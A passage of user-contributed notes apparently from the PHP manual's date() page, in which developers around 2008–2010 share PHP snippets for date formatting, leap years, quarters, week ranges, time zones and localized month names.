                    $flr = floor($minusdate * .0001);
                    if($flr == 1){
                        $date_string = '1 day ago';
                    }
                    else{
                        $date_string =  $flr.' days ago';
                    }
        break;

        case ($minusdate > 310001 && $minusdate < 12320000):
                    $flr = floor($minusdate * .000001);
                    if($flr == 1){
                        $date_string = "1 month ago";
                    }
                    else{
                        $date_string =  $flr.' months ago';
                    }
        break;

        case ($minusdate > 100000000):
                $flr = floor($minusdate * .00000001);
                if($flr == 1){
                        $date_string = '1 year ago.';
                }
                else{
                        $date_string = $flr.' years ago';
                }
        }

    return $date_string;
}
?>
Richard dot buskirk at buskirkgraphics dot com 12-Oct-2010 08:30
Here is a very simple function to get quarterly dates.

<?php
function quarter($month='',$day='')
{
    if($month != ""){$tm = mktime(0,0,0,$month,$day-1,date('Y'));}else{$tm = date('Y-m-d H:i:s');}
    $quarter = ceil(date("m", $tm)/3);
    for($i=1; $i<=4; $i++)
    {
    $checkd = mktime(0,0,0,date('m')-$i,date('d'),date('Y'));
        if(ceil(date("m", $checkd)/3) != "$quarter")
        {
        $meani = date("m", $checkd);
            for($a=1; $a<=31; $a++)
            {
            $forman = mktime(0,0,0,$meani,$a,date('Y'));
                if(ceil(date("m", $forman)/3) == "$quarter")
                {
                $first_day = date('d', $forman);
                break;
                }
            }
        break;
        }
    }
$current_quarter_dayone = date('Y-m-d H:i:s', mktime(0,0,0,$meani,$first_day,date('Y')));
return $current_quarter_dayone;
}
?>

To get the current quarterly start date.
$quarter_start= quarter();
**************************************
2010-09-01 00:00:00

To find the start of a particular quarter based on a date, pass the month and day.
$quarter_start = quarter('08','30');
$quarter_end =  date("Y-m-d H:i:s", strtotime($barter)-86400);
Results
**********************************
2010-06-01 00:00:00
2010-08-31 00:00:00
imran at t555 dot net 04-Oct-2010 07:02
Here is a simple function that gets all the dates between 2 given dates and returns an array (including the dates specified):

<?php

function dates_inbetween($date1, $date2){

    $day = 60*60*24;

    $date1 = strtotime($date1);
    $date2 = strtotime($date2);

    $days_diff = round(($date2 - $date1)/$day); // Unix time difference devided by 1 day to get total days in between

    $dates_array = array();

    $dates_array[] = date('Y-m-d',$date1);

    for($x = 1; $x < $days_diff; $x++){
        $dates_array[] = date('Y-m-d',($date1+($day*$x)));
    }

    $dates_array[] = date('Y-m-d',$date2);

    return $dates_array;
}

// Usage
$dates_array = dates_inbetween('2001-12-28', '2002-01-01');

?>
jlathrop at horizonit dot us 25-Sep-2010 03:42
Looking to output number of days left in the current year (and check if its a leap year - here it is)

<?php
$today = getdate();             // Get the current day in an array
$yday = ($today['yday']);       // Extract just the number of days since January 1st current year
$leap = date('L');              // check if its a leap year
$tdl = $leap + 365;             // 365 days in an average year plus 1 day if its a leap year
$dliy = $tdl - $yday;             //Today number of days in the current year minus number of days since January 1st current year

                                // Build the output using the above variables
echo "As of today " . date('l F d, Y, ') . "We currently have " . $dliy . " days left in the year.";
?>
root dot packet at gmail dot com 24-Sep-2010 08:49
If you are sick of writing lots of code to format dates correctly, then I hope you find my code useful. It can def. use some work, I plan to improve it, but it passed a boring night and gave good results. enjoy! God bless!

<?php
function datefmt($date, $inFormat, $outFormat) {
    /* A function to take a date in ($date) in specified inbound format (eg mm/dd/yy for 12/08/10) and
     * return date in $outFormat (eg yyyymmdd for 20101208)
     *    datefmt (
     *                        string $date - String containing the literal date that will be modified
     *                        string $inFormat - String containing the format $date is in (eg. mm-dd-yyyy)
     *                        string $outFormat - String containing the desired date output, format the same as date()
     *                    )
     *
     *
     *    ToDo:
     *        - Add some error checking and the sort?
     */

    $order = array('mon' => NULL, 'day' => NULL, 'year' => NULL);

    for ($i=0; $i<strlen($inFormat);$i++) {
        switch ($inFormat[$i]) {
            case "m":
                $order['mon'] .= substr($date, $i, 1);
                break;
            case "d":
                $order['day'] .= substr($date, $i, 1);
                break;
            case "y":
                $order['year'] .= substr($date, $i, 1);
                break;
        }
    }

    $unixtime = mktime(0, 0, 0, $order['mon'], $order['day'], $order['year']);
    $outDate = date($outFormat, $unixtime);

    if ($outDate == False) {
        return False;
    } else {
        return $outDate;
    }
}
?>
@PeteWilliams 08-Sep-2010 04:29
If you want to use HTML5's <date> tag, the following code will generate the machine-readable value for the 'datetime' attribute:

<?php

/**
 * formats the date passed into format required by 'datetime' attribute of <date> tag
 * if no intDate supplied, uses current date.
 * @param intDate integer optional
 * @return string
 **/
function getDateTimeValue( $intDate = null ) {

    $strFormat = 'Y-m-d\TH:i:s.uP';
    $strDate = $intDate ? date( $strFormat, $intDate ) : date( $strFormat ) ;

    return $strDate;
}

echo getDateTimeValue();

?>
Rithish 25-Aug-2010 12:31
If you want to get yesterday's date, then a single line of code is enough.

<?php
    $yesterday = date("Ymd", strtotime("-1 day"));
?>
peter_silvester at yahoo dot com 20-Aug-2010 04:40
Function to return whether or not a given date falls within British Summer Time:

<?php
function is_bst($date) {

    $Year = date("Y", $date);
    $MarLast = $Year."-03-31";
    $OctLast = $Year."-10-31";

    //Find the last Sunday in March
    if (date("w", strtotime($MarLast)) == 0) //Sunday
    {
        $LastMarSun = strtotime($MarLast);
    } else {
        $LastMarSun = strtotime($MarLast." last sunday");
    }

    //Find the last Sunday in October
    if (date("w", strtotime($OctLast)) == 0) //Sunday
    {
        $LastOctSun = strtotime($OctLast);
    } else {
        $LastOctSun = strtotime($OctLast." last sunday");
    }

    $BSTStart = strtotime(date("Y-m-d", $LastMarSun)." 01:00:00");
    $BSTEnd = strtotime(date("Y-m-d", $LastOctSun)." 01:00:00");

    return (($date >= $BSTStart) && ($date <= $BSTEnd));
}
?>
gratcypalma at gmail dot com 19-Aug-2010 01:37
Just small addition for indonesian date time..

<?php
    function DateIndo($str) {
        if ($str =="") {
        // null
        return false;
        }
        else {
        setlocale (LC_TIME, 'id_ID');
        $date = strftime( "%d-%m-%Y %H:%I:%S", strtotime($str));
        return $date;
        }
    }

//this also works...

    $date = date('Y-m-d H:i:s');
    echo DateIndo($date);
?>
robert at extremedesigns dot de 24-Jan-2010 03:26
if you wish to output a local time, instead of using date_default_timezone_get() and date_default_timezone_set() to manipulate your current timezone, simply create a new DateTime object:

<?php
$timezone = new DateTimeZone( "Europe/London" );
$date = new DateTime();
$date->setTimezone( $timezone );
echo  $date->format( 'H:i:s A  /  D, M jS, Y' );
?>

-> 22:59:34 PM / Sun, Jan 24th, 2010

Irrespective of current server location, this will output the local time in London, Europe.
No need to reset the server timezone back to the previous setting.
lb at bostontech dot net 29-Nov-2009 11:11
Not sure why this got ignored the first time, but this is an even simpler way to check leap year:

<?php
function isLeapYear($year)
    { return ((($year%4==0) && ($year%100)) || $year%400==0) ? (true):(false); }
?>
d basin 14-Oct-2009 03:35
convert an "excel" formatted date. Example:

<?php

$excel_date = 40179;

$normal_date = date("m/d/Y", strtotime("01/01/1900 + $excel_date days - 2 days"));

echo($normal_date);

?>

result: "01/01/2010"
Marcin Szychowski 08-Oct-2009 06:59
MS-DOS related filesystems, along with ZIP files, store date and time in four bytes (time: 2 bytes, date: 2 bytes), as described in Wikipedia: http://en.wikipedia.org/wiki/File_Allocation_Table#Directory_table

As it took me some time to not-find any functions to convert unix to ms-dos timestamps, I decided to put these simple functions here, to save somebody else's time:

<?php

// $ts - standard UNIX timestamp, as returned by mktime()
function packTimeDate($ts){
    // MS-DOS can store dates ranging from 1980-01-01 up to 2107-12-31
    $year=date('Y', $ts);
    if(($year<1980) || ($year>2107)) return "\x00\x00";
    else return packTime($ts).packDate($ts);
}

/** From Wikipedia:
 * 15-11 Hours (0-23)
 * 10-5  Minutes (0-59)
 *  4-0  Seconds/2 (0-29)
 **/
function packTime($ts){
    $sec=round((('1'.date('s', $ts))-100)/2);
    $min=('1'.date('i', $ts))-100;
    $hour=date('G', $ts);

    $dosTime=($hour<<11)+($min<<5)+$sec;

    $m[0]=$dosTime%256;
    $m[1]=(($dosTime-$m[0])/256)%256;
    return sprintf('%c%c', $m[0], $m[1]);
}

/** From Wikipedia:
 * 15-9 Year (0 = 1980, 127 = 2107)
 *  8-5 Month (1 = January, 12 = December)
 *  4-0 Day (1 - 31)
 **/
function packDate($ts){
    $year=date('Y', $ts)-1980;
    $day=date('j', $ts);
    $month=date('n', $ts);

    $dosDate=($year<<9)+($month<<5)+$day;

    $m[0]=$dosDate%256;
    $m[1]=(($dosDate-$m[0])/256)%256;
    return sprintf('%c%c', $m[0], $m[1]);
}

?>

As I didn't need to unpackTimeDate, I didn't bother to write reverse functions. Feel free to provide yours if You care.

Have fun with PHP!
Edward Rudd 05-Oct-2009 12:13
To actually make use ot the "u" (microsecond) you need to use the DateTime object and not the date() function.

For example

<?php
$t = microtime(true);
$micro = sprintf("%06d",($t - floor($t)) * 1000000);
$d = new DateTime( date('Y-m-d H:i:s.'.$micro,$t) );

print $d->format("Y-m-d H:i:s.u");
?>
critic at hot dot ee 30-Aug-2009 01:36
If u want to get weekday date -
30.08.2009 weekdays are 24-30
i want to get 5-th day of that week - 28.08.2009

<?PHP

function week_day($month, $year, $current_day, $week_day_number=1){

    $loop_start = $current_day-(date('N', mktime(0, 0, 0, $month, $current_day, $year))-1);//lets start loop from first day of week
    $loop_end = $current_day+(7-(date('N', mktime(0, 0, 0, $month, $current_day, $year))));//lets end loop to last day of week

    for($i = $loop_start; $i<=$loop_end; $i++){

        $day_of_the_week = date('N', mktime(0, 0, 0, $month, $i, $year));//current day number 1-7 of week
        $loop_date = date('d', mktime(0, 0, 0, $month, $i, $year));//current day in calendar
        if($day_of_the_week == $week_day_number){//if weekday number equals day number then lets return date

            return $loop_date;
        }
    }
}

echo week_day(8, 2009, 30, 1);//returns (24).08.2009
echo '<br>';
echo week_day(8, 2009, 30, 5);//returns (28).08.2009

?>
czerpmac [at] gmail [dot] com 29-Aug-2009 11:02
Easy way to numeric representation of a quarter from passed as parametr date.

<?php
/**
 * quarterByDate()
 *
 * Return numeric representation of a quarter from passed free-form date.
 *
 * @param mixed $date
 * @return integer
 */
function quarterByDate($date)
{
    return (int)floor(date('m', strtotime($date)) / 3.1) + 1;
}
?>

Example:

<?php
$quarter = quarterByDate(date('Y-m-d'));    // current quarter. For 2009-08-29 will be "3"
$quarter = quarterByDate('2009-12');        // will be "4"
$quarter = quarterByDate('March');        // will be "1"
?>

I hope it will be useful.

Best regards,
S_P_E_C
kenaniah at gmail dot com 25-Aug-2009 04:31
This function behaves like date, but allows you to output the date in a given time zone locale.

<?php
function date_at_timezone($format, $locale, $timestamp=null){

    if(is_null($timestamp)) $timestamp = time();

    //Prepare to calculate the time zone offset
    $current = time();

    //Switch to new time zone locale
    $tz = date_default_timezone_get();
    date_default_timezone_set($locale);

    //Calculate the offset
    $offset = time() - $current;

    //Get the date in the new locale
    $output = date($format, $timestamp - $offset);

    //Restore the previous time zone
    date_default_timezone_set($tz);

    return $output;

}

//Examples
$t = time();

print date("g:i A T", $t); //4:16 PM PDT
print date_at_timezone("g:i A T", "America/New_York", $t); //7:16 PM EDT
print date_at_timezone("g:i A T", "Pacific/Samoa", $t); //12:16 PM SST
print date("g:i A T", $t); //4:16 PM PDT
?>
Aura@The World 24-Aug-2009 03:04
Get names of days:

<?php
$tz = date_default_timezone_get();
date_default_timezone_set('UTC');
for($i=0; $i<7; $i++)
   echo date('D', mktime(12, 0, 0, 1, $i+4, 1970)) . '<br />';
date_default_timezone_set($tz);
?>

Change 'D' to 'l' (lowercase 'L') for full names. Change $i+4 to $i+5 if you want Monday to be the first day of the week.
christophermmann at gmail dot com 19-Aug-2009 04:44
I couldn't find a function to do this properly. All functions I could find would use the current month as an argument.

Anyway, this function will find the occurence of a particular weekday in a particular month. For instance, the second wednesday in june 2009 would be called by:

<?php
echo findFirstDayofWeek(6,2009, "Wednesday", 2);
?>

Where 6 is "June", 2009 is the year, Wednesday is the weekday we want and 2 is the 2nd occurence.

<?php

function findFirstDayOfWeek($month, $year, $day, $offset){ // supply the month, year, day and offset
    $FirstDay = mktime(0, 0, 0, $month, 1, $year); // Get the first day of the month in question
    $DayName = date("l", $FirstDay); //set the name of the first day for the while loop
    $CurrentStamp = $FirstDay; // set a disposable variable for use in the while loop
    $Results = 0; //set the number of results (for use with the offset argument)
    While($Results != $offset){ //while the number of results does not equal the offset we are looking for
        $CurrentStamp = $CurrentStamp + 86400; // add a day
        if(date("l", $CurrentStamp) == $day){ // if the name of the weekday we are currently looping at is the same name as the argument supplied, set the date variable to that weekday and increment the results variable by 1
            $Date = date("Y-m-d", $CurrentStamp);
            $Results++;
        }
    }
    if(date("n", $CurrentStamp) != $month){ // this line checks whether or not the date that the while loop has found is in the same month we are asking form otherwise, there must be no "3rd friday in august"
    return "No weekday at this offset";
    } else {
    return $Date; //send back the date
    }
}

echo findFirstDayofWeek(9,2009, "Friday", 5); // returns a formatted date for the first instance of a certain day in the argumental month
?>
crayonviolent at phpfreaks dot com 28-Jul-2009 05:25
Haven't really tested it performance-wise vs. other methods, but I thought I'd post this anyways...

Here's a nifty way to exploit date()'s built-in ordinal suffix calculator to append the proper ordinal suffix to an arbitrary number:

<?php
function addOrdinal($num=0){
  return $num.(((strlen($num)>1)&&(substr($num,-2,1)=='1'))?
         'th' : date("S",mktime(0,0,0,0,substr($num,-1),0)));
} // end function addOrdinal
?>
Just.Kevin 28-Jul-2009 09:52
In order to determine if a year is a leap year an earlier poster suggested simply checking to see if the year is a multiple of four:

<?php
function is_leapyear_broken($year = 2004) {
return ($year%4)==0;
}
?>

While this will work for the majority of years it will not work on years that are multiples of 100 but not multiples of 400 i.e.(2100).
A function not using php's date() function that will also account for this small anomaly in leap years:

<?php
function is_leapyear_working($year = 2004) {
    if((($year%4==0) && ($year%100!=0)) || $year%400==0) {
        return true;
    }
    return false;
}
?>

While is_leapyear_working will not return true for the few non-leap years divisible by four I couldn't tell you if this is more or less efficient than using php's date() as an even earlier poster suggested:

<?php
function is_leapyear($year = 2004) {
$is_leap = date('L', strtotime("$year-1-1"));
return $is_leap;
}
?>
seanj 24-Jul-2009 07:58
An earlier user posted a script to detect whether or not a given year is a leap year:

<?php
function is_leapyear($year = 2004) {
$is_leap = date('L', strtotime("$year-1-1"));
return $is_leap;
}
?>

You're thinking too hard! Just check to see if the year is a multiple of four:

<?php
function is_leapyear($year = 2004) {
return ($year%4)==0;
}
?>

or better yet, just use that single line in your code.
ddd888 at mail333 dot com 08-Jul-2009 03:56
Slightly modified earlier written function for formatting date in russian.

<?php
/*
  these are the russian additional format characters
  д: full textual representation of the day of the week
  Д: full textual representation of the day of the week (first character is uppercase),
  к: short textual representation of the day of the week,
  К: short textual representation of the day of the week (first character is uppercase),
  м: full textual representation of a month
  М: full textual representation of a month (first character is uppercase),
  л: short textual representation of a month
  Л: short textual representation of a month (first character is uppercase),
*/
function date_ru($formatum, $timestamp=0) {
  if (($timestamp <= -1) || !is_numeric($timestamp)) return '';
  $q['д'] = array(-1 => 'w', 'воскресенье','понедельник', 'вторник', 'среда', 'четверг', 'пятница', 'суббота');
  $q['Д'] = array(-1 => 'w', 'Воскресенье','Понедельник', 'Вторник', 'Среда', 'Четверг', 'Пятница', 'Суббота');
  $q['к'] = array(-1 => 'w', 'вс','пн', 'вт', 'ср', 'чт', 'пт', 'сб');
  $q['К'] = array(-1 => 'w',  'Вс','Пн', 'Вт', 'Ср', 'Чт', 'Пт', 'Сб');
  $q['м'] = array(-1 => 'n', '', 'января', 'февраля', 'марта', 'апреля', 'мая', 'июня', 'июля', 'августа', 'сентября', 'октября', 'ноября', 'декабря');
  $q['М'] = array(-1 => 'n', '', 'Января', 'Февраля', 'Март', 'Апреля', 'Май', 'Июня', 'Июля', 'Август', 'Сентября', 'Октября', 'Ноября', 'Декабря');
  $q['л'] = array(-1 => 'n', '', 'янв', 'фев', 'мар', 'апр', 'май', 'июн', 'июл', 'авг', 'сен', 'окт', 'ноя', 'дек');
  $q['Л'] = array(-1 => 'n', '',  'Янв', 'Фев', 'Мар', 'Апр', 'Май', 'Июн', 'Июл', 'Авг', 'Сен', 'Окт', 'Ноя', 'Дек');

  if ($timestamp == 0)
    $timestamp = time();
  $temp = '';
  $i = 0;
  while ( (strpos($formatum, 'д', $i) !== FALSE) || (strpos($formatum, 'Д', $i) !== FALSE) ||
          (strpos($formatum, 'к', $i) !== FALSE) || (strpos($formatum, 'К', $i) !== FALSE) ||
          (strpos($formatum, 'м', $i) !== FALSE) || (strpos($formatum, 'М', $i) !== FALSE) ||
          (strpos($formatum, 'л', $i) !== FALSE) || (strpos($formatum, 'Л', $i) !== FALSE)) {
    $ch['д']=strpos($formatum, 'д', $i);
    $ch['Д']=strpos($formatum, 'Д', $i);
    $ch['к']=strpos($formatum, 'к', $i);
    $ch['К']=strpos($formatum, 'К', $i);
    $ch['м']=strpos($formatum, 'м', $i);
    $ch['М']=strpos($formatum, 'М', $i);
    $ch['л']=strpos($formatum, 'л', $i);
    $ch['Л']=strpos($formatum, 'Л', $i);
    foreach ($ch as $k=>$v)
      if ($v === FALSE)
        unset($ch[$k]);
    $a = min($ch);
    $temp .= date(substr($formatum, $i, $a-$i), $timestamp) . $q[$formatum[$a]][date($q[$formatum[$a]][-1], $timestamp)];
    $i = $a+1;
  }
  $temp .= date(substr($formatum, $i), $timestamp);
  return $temp;
}

echo 'Сегодня '.date_ru('Д, d л Y');
?>
martinjsteven at gmail dot com 11-Jun-2009 04:20
A quick note about DATE_RSS and daylight savings...

DATE_RSS will return the timezone that your server is in as part of the format, which is normally correct when formatting a date for an RSS feed (RFC-822).

However, if you're in the UK and it's the summer, your timezone is set as "BST".  This is not actually a valid RFC-822 timezone, thereby rendering DATE_RSS a bit useless for six months of the year.

The valid extension would actually be GMT.  You should therefore adjust the time back by 1 hour and substitute the BST for GMT.
rez dot eza at gmail dot com 26-May-2009 09:12
<?php
//for Indonesian get return today

echo returnDate(date("N"), "day") . ", " . date("j") . " " . returnDate(date("n"), "month") . " " . date("Y");

    function returnDate($num, $tipe){
        $str;
        switch($tipe){
            case "month":
                $month_name = array("", "Januari", "Februari", "Maret", "April", "Mei", "Juni", "Juli", "Agustus", "September", "Oktober", "November", "Desember");
                $str = $month_name[floor($num)];
                break;
            case "day":
                $day_name = array("", "Senin", "Selasa", "Rabu", "Kamis", "Jumat", "Sabtu", "Minggu");
                $str = $day_name[floor($num)];
                break;
        }

        return $str;
    }
?>
sarmad dot saadi at gmail dot com 24-May-2009 01:52
// showing how to detect a leap year
<?php
function is_leapyear($year = 2004) {
$is_leap = date('L', strtotime("$year-1-1"));
return $is_leap;
}
?>

<?php
$answer = is_leapyear(2000);
if($answer) {

echo "2000 is a leap year<BR>";
} else {
echo "2000 is not a leap year.<BR>";
}
/* Use default for the parameter */
$yy="2003";
$answer = is_leapyear(2003);
if($answer) {

echo "$yy is a leap year.<BR>";
} else {
echo "$yy is not a leap year.<BR>";
}
?>
guido dot orellana at gmail dot com 29-Apr-2009 11:55
Function to obtain last week timestamps.

<?php

function LastWeek(){
    $week = date('W');
    $year = date('Y');

    $lastweek=$week-1;

    if ($lastweek==0){
        $week = 52;
        $year--;
    }

    $lastweek=sprintf("%02d", $lastweek);
    for ($i=1;$i<=7;$i++){
        $arrdays[] = strtotime("$year". "W$lastweek"."$i");
    }
    return $arrdays;
}

$days = LastWeek();
echo "last week between " . date('Ymd000000',$days[0]) . " and " .  date('Ymd235959', $days[6]) . "\n";
?>
eduardo at digmotor dot com dot br 21-Apr-2009 01:34
Thanks to tcasparr at gmail dot com for the great idea (at least for me) ;)
I changed the code a little to replicate the functionality of date_parse_from_format, once I don't have PHP 5.3.0 yet. This might be useful for someone. Hope you don't mind changing your code tcasparr at gmail dot com.

<?php
/*******************************************************
 * Simple function to take in a date format and return array of associated
 * formats for each date element
 *
 * @return array
 * @param string $strFormat
 *
 * Example: Y/m/d g:i:s becomes
 * Array
 * (
 *     [year] => Y
 *     [month] => m
 *     [day] => d
 *     [hour] => g
 *     [minute] => i
 *     [second] => s
 * )
 *
 *  This function is needed for  PHP < 5.3.0
 ********************************************************/
function dateParseFromFormat($stFormat, $stData)
{
    $aDataRet = array();
    $aPieces = split('[:/.\ \-]', $stFormat);
    $aDatePart = split('[:/.\ \-]', $stData);
    foreach($aPieces as $key=>$chPiece)
    {
        switch ($chPiece)
        {
            case 'd':
            case 'j':
                $aDataRet['day'] = $aDatePart[$key];
                break;

            case 'F':
            case 'M':
            case 'm':
            case 'n':
                $aDataRet['month'] = $aDatePart[$key];
                break;

            case 'o':
            case 'Y':
            case 'y':
                $aDataRet['year'] = $aDatePart[$key];
                break;

            case 'g':
            case 'G':
            case 'h':
            case 'H':
                $aDataRet['hour'] = $aDatePart[$key];
                break;

            case 'i':
                $aDataRet['minute'] = $aDatePart[$key];
                break;

            case 's':
                $aDataRet['second'] = $aDatePart[$key];
                break;
        }

    }
    return $aDataRet;
}
?>

Also, if you need to change the format of dates:

<?php
function changeDateFormat($stDate,$stFormatFrom,$stFormatTo)
{
  // When PHP 5.3.0 becomes available to me
  //$date = date_parse_from_format($stFormatFrom,$stDate);
  //For now I use the function above
  $date = dateParseFromFormat($stFormatFrom,$stDate);
  return date($stFormatTo,mktime($date['hour'],
                                    $date['minute'],
                                    $date['second'],
                                    $date['month'],
                                    $date['day'],
                                    $date['year']));
}

?>
Anonymous 14-Apr-2009 07:10
Heads up: The date('W') week number of the year is computed based on Monday, and may not be exactly what you expect.  What is "Week 01" of year 2008?  This is different from the date('z') day number of the year which is computed from January 1 == day zero.

<?php // RAY_date_W.php
echo "<br/>" . date('W', strtotime("December 28, 2008")); // 52
echo "<br/>" . date('W', strtotime("December 29, 2008")); // 01
echo "<br/>" . date('W', strtotime("January   2, 2009")); // 01
if (!date('z', strtotime("January 1"))) echo "<br/>FALSE"; // FALSE
?>
tcasparr at gmail dot com 13-Apr-2009 10:21
<?php
/**
 * Simple function to take in a date format and return array of associated formats for each date element
 * @return array
 * @param string $strFormat
 *
 * Example: Y/m/d g:i:s becomes
 * Array
 * (
 *     [year] => Y
 *     [month] => m
 *     [day] => d
 *     [hour] => g
 *     [minute] => i
 *     [second] => s
 * )
 */
function extract_date_format($strFormat)
{
    $format_array = array();
    $pieces = split('[:/.\ \-]', $strFormat);
    foreach($pieces as $piece)
    {
        switch ($piece)
        {
            case 'd':
            case 'j':
                $format_array['day'] = $piece;
                break;

            case 'F':
            case 'M':
            case 'm':
            case 'n':
                $format_array['month'] = $piece;
                break;

            case 'o':
            case 'Y':
            case 'y':
                $format_array['year'] = $piece;
                break;

            case 'g':
            case 'G':
            case 'h':
            case 'H':
                $format_array['hour'] = $piece;
                break;

            case 'i':
                $format_array['minute'] = $piece;
                break;

            case 's':
                $format_array['second'] = $piece;
                break;
        }

    }
    return $format_array;
}
?>
pierre 24-Feb-2009 02:22
It seems to me that you can reliably get the week range of a certain numeric week like so:

<?php

// 2009 is the year
// W01 is week number 1
// 1 is the day number (Monday), 7 would be Sunday
strtotime("2009W011");

// Example 1 (These return the days for Week 1 or 2009
Mon_timestamp = strtotime("2009W011");
Tue_timestamp = strtotime("2009W012");
Wed_timestamp = strtotime("2009W013");
Thu_timestamp = strtotime("2009W014");
Fri_timestamp = strtotime("2009W015");
Sat_timestamp = strtotime("2009W016");
Sun_timestamp = strtotime("2009W017");

// Example 2 (more dynamic)
// set the 7 dates of the week
for($i=1; $i<=7; $i++) {
    $dates[$i] = strtotime($year.'W'.$week.$i);
}

?>

Just remember you must pad the week number if it's under 10. 1 won't work, it should be 01.
uramihsayibok, gmail, com 21-Jan-2009 06:47
In a refreshing change, this code snippet is *not* about calculating date differences or anything like that.

<background-story>
I've always preferred date() over strftime() because of what each offers. For example, date has an st/nd/rd for the day number (S) while strftime does not. It also has an unpadded day number (j) that strftime doesn't (%e pads it with a space).
On the other hand, each character in the format string for date() is translated unless you prepend a backslash...

Recently I've wanted to create links with date information in it. Like with "January 21st 2009" each part would be a link (January => /2009/01, 21st => /2009/01/21, 2009 => /2009). date() makes this difficult because the HTML markup gets the treatment as well as the Y/m/d characters. Escaping all of those is ugly, not to mention annoying.
</background-story>

Here's my combination of date's placeholders and strftime's % markers. It's the best solution I could think of (at 5am mind you) but I'm open to suggestions.
Lots of comments because the code is rather tricky.

<?php

/**
 * Combines placeholders from date() with the % marker from strftime()
 *
 * Like strftime, use %% for a literal %.
 *
 * @see date, strftime
 * @param string $format The format of the outputted date string
 * @param int $timestamp An integer Unix timestamp that defaults to the current local time
 * @return A formatted date string
 */
function strfdate($format, $timestamp = null) {
    // look for tokens
    if (preg_match_all('/(?<!%)(%%)*%(.)/', $format, $matches)) {
        // passing false or null as the timestamp doesn't work so we
        // have to generate the default ourselves
        if ($timestamp === null) $timestamp = time();
        // run each token through date - all at once
        // combines them into a "a!b!c!d" list, runs it through date,
        // and splits it apart again
        $parts = explode("!", date(implode("!", $matches[2]), $timestamp));
        // (! should never show up in date() output so this works)

        // a second function is used sequentially:
        // the Xth time this function is called it will replace the Xth token
        // with the corresponding element in $parts (which is passed through as $a)
        //
        // @param array $a Meant to be $parts as defined above
        // @return $a[X] where X is how many times this function has been called
        $replace = create_function('$a', 'static $i = 0; return $a[$i++];');

        // find each token and get the replacement data from the $replace function
        // note how the text being replaced isn't used anywhere: we already know
        // what it is as it was used to create the $parts array
        $result = preg_replace('/(%*)%./e', '"$1" . $replace($parts)', $format);
        // finally "unescape" any %s
        $result = str_replace("%%", "%", $result);

        return $result;
    }
    return $format;
}

?>
mrkrackham 18-Nov-2008 11:33
Just in case anyone else is looking for an easy-to-find equivalent for W3C Datetime or date("c") in a previous version of php, here's one I did.  Hope it helps someone.

<?php
function w3cDate($time=NULL)
{
    if (empty($time))
        $time = time();
    $offset = date("O",$time);
    return date("Y-m-d\TH:i:s",$time).substr($offset,0,3).":".substr($offset,-2);
}
?>

Examples:
echo w3cDate(); //2008-11-18T12:15:18-07:00
echo w3cDate(mktime(2,3,4,5,6,2007)); //2007-05-06T02:03:04-06:00
sourabhshankar AT gmail DOT com 14-Nov-2008 12:43
<?php
/*
Find out start and end date of current week.
I am assuming that week starts at sunday and ends at saturday.
so a typical week will look like this: sun,mon,tue,wed,thu,fri,sat
if you find any bug/error, please email me.
*/

//sunday = start of week
$sat = 6; //saturday = end of week
$current_day=date('w');
$days_remaining_until_sat = $sat - $current_day;

$ts_start = strtotime("-$current_day days");
$ts_end = strtotime("+$days_remaining_until_sat days");

echo date('m-d-Y',$ts_start); //start date
echo '<br>';
echo date('m-d-Y',$ts_end); //end date

/*
OUTPUT (m-d-y):
11-09-2008
11-15-2008
*/
?>
Kenneth Kin Lum 02-Oct-2008 03:52
date(DATE_RFC822) and date(DATE_RFC2822) both work.  note that RFC 822 is obsoleted by RFC 2822.  The main difference is the year being 08 in RFC 822 and is 2008 in RFC 2822.

To use date(DATE_RFC2822), a short form is date('r').
Anonymous 12-Sep-2008 06:01
Correct format for a MySQL DATETIME column is
<?php $mysqltime = date ("Y-m-d H:i:s", $phptime); ?>
Cortexd 27-Aug-2008 11:47
a date function supporting the milliseconds format character

<?php
function udate($format, $utimestamp = null)
{
    if (is_null($utimestamp))
        $utimestamp = microtime(true);

    $timestamp = floor($utimestamp);
    $milliseconds = round(($utimestamp - $timestamp) * 1000000);

    return date(preg_replace('`(?<!\\\\)u`', $milliseconds, $format), $timestamp);
}

echo udate('H:i:s.u'); // 19:40:56.78128
echo udate('H:i:s.u', 654532123.04546); // 16:28:43.45460
?>
pdubbb1 at gmail dot com 26-Aug-2008 05:32
here is the simpliest way to get the start and end date of the week;

<?php
$sdate=date('c',strtotime(date('Y')."W".date('W')."0"));

$edate=date('c',strtotime(date('Y')."W".date('W')."7"));
?>

the format is for the string in strtotime is;

     2008W200

this stands for year - 2008, constant never changes - W, week number of the year - 20, day of the week - 0 for sunday, 1 for monday, etc....

so 2008W200 stands for the sunday of the 20th week of 2008.

This will only work in php 5 or better
abazaba.ru 14-Aug-2008 03:53
All novices must be very carefull when working with timestamps as second values.
From first glance it looks like date("Y-m-d H:i:s",TIMESTAMP) will return correct date, based on "how much seconds gone from 1970".
But here is the feature, it'll be corrected time, according to LOCAL timezone.

So if you take a 25200 as timestamp (10 hours),
then on one server you'll get
1970-01-01 08:00:00
and on other server you'll get
1970-01-01 09:00:00
and so on.
Though you could expect 1970-01-01 10:00:00 in all cases, because if 25200 seconds gone from 1970-01-01 00:00:00 it obviously have to be 1970-01-01 10:00:00

I spend today 3 hours to correct scripts which were created with such error by previous programmer, so please, guys, don't make me work like this and remember about conversation to LOCAL time.
phprocks at aol dot com 06-Aug-2008 11:25
Try this for finding the difference in days between 2 dates/datetimes... take note though, date_parse requires PHP version 5.1.3 or higher.

<?php
/**
 * Finds the difference in days between two calendar dates.
 *
 * @param Date $startDate
 * @param Date $endDate
 * @return Int
 */
function dateDiff($startDate, $endDate)
{
    // Parse dates for conversion
    $startArry = date_parse($startDate);
    $endArry = date_parse($endDate);

    // Convert dates to Julian Days
    $start_date = gregoriantojd($startArry["month"], $startArry["day"], $startArry["year"]);
    $end_date = gregoriantojd($endArry["month"], $endArry["day"], $endArry["year"]);

    // Return difference
    return round(($end_date - $start_date), 0);
}
?>
JonathanCross.com 25-Jul-2008 01:22
<?php
// A demonstration of the new DateTime class for those
// trying to use dates before 1970 or after 2038.
?>
<h2>PHP 2038 date bug demo (php version <?php echo phpversion(); ?>)</h1>
<div style='float:left;margin-right:3em;'>
<h3>OLD Buggy date()</h3>
<?php
  $format='F j, Y';
  for ( $i = 1900; $i < 2050; $i++) {
    $datep = "$i-01-01";
    ?>
    Trying: <?php echo $datep; ?> = <?php echo date($format, strtotime($datep)); ?><br>
    <?php
  }
?></div>
<div style='float:left;'>
  <h3>NEW DateTime Class (v 5.2+)</h3><?php
  for ( $i = 1900; $i < 2050; $i++) {
    $datep = "$i-01-01";
    $date = new DateTime($datep);
    ?>
